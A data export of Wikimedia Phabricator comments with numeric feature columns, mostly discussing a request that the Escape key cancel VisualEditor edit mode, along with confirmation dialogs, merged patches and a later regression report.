This is a cluster configuration issue; it's trivial to find out which version of VisualEditor is running in Beta Labs, as each MW extension is shown in http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version with the date and a link to the git.wikimedia.org page of the currently-running commit. I don't think bumping version numbers on extensions with every deployment is a great idea, however.

(Note that this doesn't help for Parsoid, however, as it's not actually an MW extension, despite the confusing repo name.)

For ultra-power-users like me, I ""just"":

* Find from Special:Version which branch the site I'm interested in is on
* Look up in gerrit any changes to that branch since it was cut https://gerrit.wikimedia.org/r/#/q/status:merged+project:mediawiki/core+branch:wmf/1.22wmf8,n,z
* Find the latest time the extension was updated in there based on commit title (hopefully helpful), or if never, from the original cut commit
* Take that commit ID (in this case, ""11453371c637b50cd3f37e80893d9a80b0c044a5"") and sling it into gerrit (in this case, https://gerrit.wikimedia.org/r/#/q/11453371c637b50cd3f37e80893d9a80b0c044a5,n,z gives the result).
* Success! Umm.

However, this isn't remotely a great solution for even quite serious developers on staff or in the community, let alone regular users who might want to file bugs.

Could we switch on the configuration we have on beta labs for Special:Version for other wikis? (Perhaps as a page option - ?showversions=true or whatever, so as to avoid confusing users.)",,,1373162213,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-grvae3imieydt4li7k7h,task_subcomment,,True,c1,3,True,,,0,,0.75,0.0,0.0,0.75,1.0,5.0,0.75,0.0,0.0,0.25,4.25,1.0,0.0,0.0,0.0,1.5,0.0,4.5,12.25,0.0,1.0,0.0,0.25,0.0,0.5,0.0,0.25,0.0,0.5,0.0,0.0,4.25,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.0,0.0,0.0,0.0,0.25,9.75,1.0,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.5,2.0,11.75,1.25,1.25,7.75,0.0,0.0,0.25,0.25,4.25,0.0,0.5,0.0,2.5,12.25,6.5,0.5,1.0,0.0,2.5,0.0,1.0,1.5,0.25,1.0,0.0,0.25,0.0,3.7236525143029207,0.6896642577536887,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is a cluster configuration issue; it's trivial to find out which version of VisualEditor is running in Beta Labs, as each MW extension is shown in URL with the date and a link to the git.wikimedia.org page of the currently-running commit. I don't think bumping version numbers on extensions with every deployment is a great idea, however.

(Note that this doesn't help for Parsoid, however, as it's not actually an MW extension, despite the confusing repo name.)

For ultra-power-users like me, I ""just"":

* Find from Special:Version which branch the site I'm interested in is on
* Look up in gerrit any changes to that branch since it was cut URL
* Find the latest time the extension was updated in there based on commit title (hopefully helpful), or if never, from the original cut commit
* Take that commit ID (in this case, ""11453371c637b50cd3f37e80893d9a80b0c044a5"") and sling it into gerrit (in this case, URL gives the result).
* Success! Umm.

However, this isn't remotely a great solution for even quite serious developers on staff or in the community, let alone regular users who might want to file bugs.

Could we switch on the configuration we have on beta labs for Special:Version for other wikis? (Perhaps as a page option - ?showversions=true or whatever, so as to avoid confusing users.)"
52868,Escape key inside the main editor should cancel VE mode and return to action=view,"**Author:** `gigs`

**Description:**
I see that a cancel button has been added, which is an improvement, but the escape key should also cancel edit mode.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373132460,1645206828.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-biusmqvxgixprlg4xp34,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6785714285714284,0.6428571428571429,"**Author:** CODE

**Description:**
I see that a cancel button has been added, which is an improvement, but the escape key should also cancel edit mode.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1867245,Escape key inside the main editor should cancel VE mode and return to action=view,"@Alex42 Thanks for reporting this. I filed a separate task about it: {T302096}. This task is from almost 9 years ago, and the cause of the new problem is almost certainly not related.",,,1645206828,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,450,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,5.0,12.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.875,0.85,"SCREEN_NAME Thanks for reporting this. I filed a separate task about it: {T302096}. This task is from almost 9 years ago, and the cause of the new problem is almost certainly not related."
1867121,Escape key inside the main editor should cancel VE mode and return to action=view,"This feature worked as expected until now. The last time i remember it working correctly is a few month ago.

But now it is broken and **no dialog** ""Are you sure?"" is shown any more, when pressing Esc key once. Yesterday i lost a [[ https://de.wikipedia.org/w/index.php?title=Kreditkarte&curid=18081&diff=220309975&oldid=217344355 | hour of work ]].

Tested in main view of VisualEditor on fr-, de- and en-wiki with Firefox 97.0 (64-Bit) on Win10.

See also this disussion: [[ https://en.wikipedia.org/wiki/User_talk:Nick_Moyes#ESC_key_in_VisualEditor | en-wiki:User_talk:Nick_Moyes#ESC_key_in_VisualEditor ]]",,,1645197042,,PHID-USER-iaar5nh25gcynskxgwrr,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,450,,1.0,0.0,0.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,2.0,12.0,0.5,2.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.5,6.5,6.0,0.5,1.0,0.0,2.5,0.0,0.5,1.0,0.0,1.0,0.5,0.0,4.5,3.351298701298701,0.7292207792207792,"This feature worked as expected until now. The last time i remember it working correctly is a few month ago.

But now it is broken and **no dialog** ""Are you sure?"" is shown any more, when pressing Esc key once. Yesterday i lost a [[ URL | hour of work ]].

Tested in main view of VisualEditor on fr-, de- and en-wiki with Firefox 97.0 (64-Bit) on Win10.

See also this disussion: [[ URL | en-wiki:User_talk:Nick_Moyes#ESC_key_in_VisualEditor ]]"
1866925,Escape key inside the main editor should cancel VE mode and return to action=view,"This feature worked as expected until now. The last time i remember it working correctly is a few month ago.

But now it is broken and **no dialog** ""Are you sure?"" is shown any more, when pressing Esc key once. Yesterday i lost a [[ https://de.wikipedia.org/w/index.php?title=Kreditkarte&curid=18081&diff=220309975&oldid=217344355 | hour of work ]].

Tested in main view of VisualEditor on fr-, de- and en-wiki with Firefox 97.0 (64-Bit) on Win10.",,,1645177521,,PHID-USER-iaar5nh25gcynskxgwrr,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,450,,2.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,13.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,7.0,1.0,2.0,0.0,5.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,2.0,3.141304347826087,0.7608695652173914,"This feature worked as expected until now. The last time i remember it working correctly is a few month ago.

But now it is broken and **no dialog** ""Are you sure?"" is shown any more, when pressing Esc key once. Yesterday i lost a [[ URL | hour of work ]].

Tested in main view of VisualEditor on fr-, de- and en-wiki with Firefox 97.0 (64-Bit) on Win10."
1201156,Escape key inside the main editor should cancel VE mode and return to action=view,"It is a somewhat traumatic experience when you press Esc too hard in a dialog (or try to use Esc to cancel text selection etc) and VE shows a helpful ""would you like me to irrecoverably throw away the result of your last three hours of work? Y/N"" dialog. It's probably not easy to confirm by accident but it's still a pretty bad feeling. Has this been through any user testing at all?",,,1545717996,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,286,,2.0,0.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,14.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,2.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,6.0,2.0,9.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,8.0,12.0,6.0,2.0,2.0,0.0,8.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,3.6705882352941175,0.8235294117647058,"It is a somewhat traumatic experience when you press Esc too hard in a dialog (or try to use Esc to cancel text selection etc) and VE shows a helpful ""would you like me to irrecoverably throw away the result of your last three hours of work? Y/N"" dialog. It's probably not easy to confirm by accident but it's still a pretty bad feeling. Has this been through any user testing at all?"
773370,Escape key inside the main editor should cancel VE mode and return to action=view,"The discussion above makes sense and I think the <escape> key feature as currently implemented is probably helpful to some people.  But as a user who heavily uses <esc> to get out of ""insert ..."" dialogs and so on, it's alternately scary and annoying that a hitting (any) key too many times threatens to cancel my changes without saving.

I'm not sure what improvements to suggest.  On second thought...  There doesn't seem to be a Cancel button, which makes it arch-surprising that a keyboard shortcut would do so.  What about changing the behavior of <esc> to ""Save Changes"" instead?  This seems consistent and friendly.",,,1481102923,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,179,,1.5,0.0,0.0,0.0,1.5,6.0,1.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,1.5,0.0,7.0,10.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,6.0,1.5,1.0,0.5,0.0,1.5,0.5,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,4.0,1.0,7.5,1.0,2.5,6.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,10.5,4.0,0.5,2.5,0.0,3.0,0.0,2.5,2.5,0.0,2.0,0.0,0.0,4.0,3.8235294117647056,0.8529411764705882,"The discussion above makes sense and I think the <escape> key feature as currently implemented is probably helpful to some people.  But as a user who heavily uses <esc> to get out of ""insert ..."" dialogs and so on, it's alternately scary and annoying that a hitting (any) key too many times threatens to cancel my changes without saving.

I'm not sure what improvements to suggest.  On second thought...  There doesn't seem to be a Cancel button, which makes it arch-surprising that a keyboard shortcut would do so.  What about changing the behavior of <esc> to ""Save Changes"" instead?  This seems consistent and friendly."
773369,Escape key inside the main editor should cancel VE mode and return to action=view,"The discussion above makes sense and I think the <escape> key feature as currently implemented is probably helpful to some people.  But as a user who heavily uses <esc> to get out of ""insert ..."" dialogs and so on, it's alternately scary and annoying that a hitting the key too many times will threaten to cancel my changes without saving.

I'm not sure what improvements to suggest.  On second thought...  There doesn't seem to be a Cancel button, which makes it arch-surprising that a keyboard shortcut would do so.  What about changing the behavior of <esc> to ""Save Changes"" instead?  This seems consistent and friendly.",,,1481102889,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,179,,1.0,0.0,0.0,0.0,1.5,6.0,1.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,1.5,0.0,7.0,10.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,5.5,1.5,1.0,0.5,0.0,1.5,0.5,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,4.5,1.0,7.5,1.0,2.5,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,3.0,10.5,4.0,0.5,2.5,0.0,3.0,0.0,2.5,2.5,0.0,2.0,0.0,0.0,4.0,3.8588674275680424,0.8444907813871818,"The discussion above makes sense and I think the <escape> key feature as currently implemented is probably helpful to some people.  But as a user who heavily uses <esc> to get out of ""insert ..."" dialogs and so on, it's alternately scary and annoying that a hitting the key too many times will threaten to cancel my changes without saving.

I'm not sure what improvements to suggest.  On second thought...  There doesn't seem to be a Cancel button, which makes it arch-surprising that a keyboard shortcut would do so.  What about changing the behavior of <esc> to ""Save Changes"" instead?  This seems consistent and friendly."
335965,Escape key inside the main editor should cancel VE mode and return to action=view,Verified in betalabs.  Escape key will bring a warning message  box 'Are you sure?',,,1417633671,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9,Verified in betalabs.  Escape key will bring a warning message  box 'Are you sure?'
335644,Escape key inside the main editor should cancel VE mode and return to action=view,">>! In T52868#805066, @Jdforrester-WMF wrote:
> Resolution is determined by QA for features and bugs.

Huh?",,,1417575813,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8333333333333334,"QUOTE
QUOTE

Huh?"
335635,Escape key inside the main editor should cancel VE mode and return to action=view,Resolution is determined by QA for features and bugs.,,,1417573056,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,74,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Resolution is determined by QA for features and bugs.
335609,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175869 merged by jenkins-bot:
Cancel VE when escape key pressed

[[https://gerrit.wikimedia.org/r/175869]]",,,1417566802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6666666666666665,0.9047619047619048,"Change 175869 merged by jenkins-bot:
Cancel VE when escape key pressed

[[GERRIT_URL]]"
333173,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175868 merged by jenkins-bot:
Dialog: Only handle escape events when open

[[https://gerrit.wikimedia.org/r/175868]]",,,1416953583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,3.739130434782609,0.8695652173913043,"Change 175868 merged by jenkins-bot:
Dialog: Only handle escape events when open

[[GERRIT_URL]]"
333172,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175869 had a related patch set uploaded (by Alex Monk):
Cancel VE when escape key pressed

[[https://gerrit.wikimedia.org/r/175869]]

#patch-for-review",,,1416953386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.515151515151515,0.8484848484848485,"Change 175869 had a related patch set uploaded (by Alex Monk):
Cancel VE when escape key pressed

[[GERRIT_URL]]

#patch-for-review"
333168,Escape key inside the main editor should cancel VE mode and return to action=view,"Change 175868 had a related patch set uploaded (by Alex Monk):
Dialog: Only handle escape events when open

[[https://gerrit.wikimedia.org/r/175868]]

#patch-for-review",,,1416953163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5714285714285716,0.8571428571428571,"Change 175868 had a related patch set uploaded (by Alex Monk):
Dialog: Only handle escape events when open

[[GERRIT_URL]]

#patch-for-review"
239818,Escape key inside the main editor should cancel VE mode and return to action=view,"(In reply to WhatamIdoing from comment #11)
> I'm a bit worried about this.  What if I'm in a template dialog and
> accidentally press Esc twice/too long?  If this triggered the ""Do you really
> wnt to exit?"" confirmation, it might be okay.  However, I suspect that this
> might not have the ultimate effect that was intended.

Comment 10 asks for the unsaved changes warning to be shown. If we do that, I think it'll be fine. Pressing escape while a dialog is open will dismiss that dialog with a safe action (the cancel/never mind action). So if you press escape again when the unsaved changes warning is visible, that'll dismiss the warning with the safe action, which is ""never mind, I want to continue editing"". So if you press Esc a bunch of times or hold it too long, you'll end up in a loop of the unsaved changes warning appearing and being dismissed.",,,1407973255,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,58,,0.0,0.0,0.0,1.0,0.0,5.0,1.5,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,1.5,0.0,5.5,10.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,6.5,1.5,1.0,4.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,8.0,1.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,6.5,3.5,7.5,3.0,1.5,8.0,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,5.0,10.0,3.0,0.0,1.5,0.0,5.0,0.0,2.0,2.5,0.0,4.0,0.0,0.0,0.0,3.661764705882353,0.7279411764705883,"(In reply to WhatamIdoing from comment #11)
QUOTE
QUOTE
QUOTE
QUOTE

Comment 10 asks for the unsaved changes warning to be shown. If we do that, I think it'll be fine. Pressing escape while a dialog is open will dismiss that dialog with a safe action (the cancel/never mind action). So if you press escape again when the unsaved changes warning is visible, that'll dismiss the warning with the safe action, which is ""never mind, I want to continue editing"". So if you press Esc a bunch of times or hold it too long, you'll end up in a loop of the unsaved changes warning appearing and being dismissed."
239812,Escape key inside the main editor should cancel VE mode and return to action=view,"I'm a bit worried about this.  What if I'm in a template dialog and accidentally press Esc twice/too long?  If this triggered the ""Do you really wnt to exit?"" confirmation, it might be okay.  However, I suspect that this might not have the ultimate effect that was intended.",,,1407972909,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,58,,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,8.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,12.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,9.0,2.0,3.0,3.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.546875,0.75,"I'm a bit worried about this.  What if I'm in a template dialog and accidentally press Esc twice/too long?  If this triggered the ""Do you really wnt to exit?"" confirmation, it might be okay.  However, I suspect that this might not have the ultimate effect that was intended."
239807,Escape key inside the main editor should cancel VE mode and return to action=view,"Yes, pressing escape when in a dialog should close that level of the dialog (if more than one) or the dialog if it's at the top level of the dialog. If a change was confirmed then it should remain when closed, if a change was unconfirmed it should be cancelled. 

With no dialogs open, escape should exit VE but should ask for confirmation before doing so if there are unsaved changes. That dialog should have keyboard actions such that enter confirms you want to leave and escape indicates that you don't want to leave and take you back to the VE. This will stop people losing work if they hit esc accidentally or too many times.",,,1374027650,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,1.0,1.0,5.0,0.5,0.0,0.0,3.5,0.5,1.0,0.0,0.0,1.0,0.0,0.0,5.5,11.0,0.0,1.5,3.5,1.0,0.0,2.0,1.5,0.0,0.0,0.0,1.0,1.0,5.0,1.0,1.5,1.5,2.5,0.0,0.0,0.0,1.0,0.5,1.0,0.0,1.5,0.0,0.5,0.0,0.0,1.0,11.0,1.0,1.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.5,0.0,0.0,4.5,2.5,4.5,5.5,3.5,7.0,0.0,0.0,0.0,0.0,8.5,0.5,0.5,0.0,4.5,11.0,1.5,0.0,0.0,0.0,4.5,0.0,2.0,1.5,0.0,2.0,0.5,0.0,0.0,3.994110576923077,0.7138221153846154,"Yes, pressing escape when in a dialog should close that level of the dialog (if more than one) or the dialog if it's at the top level of the dialog. If a change was confirmed then it should remain when closed, if a change was unconfirmed it should be cancelled. 

With no dialogs open, escape should exit VE but should ask for confirmation before doing so if there are unsaved changes. That dialog should have keyboard actions such that enter confirms you want to leave and escape indicates that you don't want to leave and take you back to the VE. This will stop people losing work if they hit esc accidentally or too many times."
239801,Escape key inside the main editor should cancel VE mode and return to action=view,Clarify title so it's clear we all agree.,,,1373394497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-biusmqvxgixprlg4xp34,task_subcomment,,True,c1,3,True,,,1,,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Clarify title so it's clear we all agree.
239796,Escape key inside the main editor should cancel VE mode and return to action=view,"**gigs** wrote:

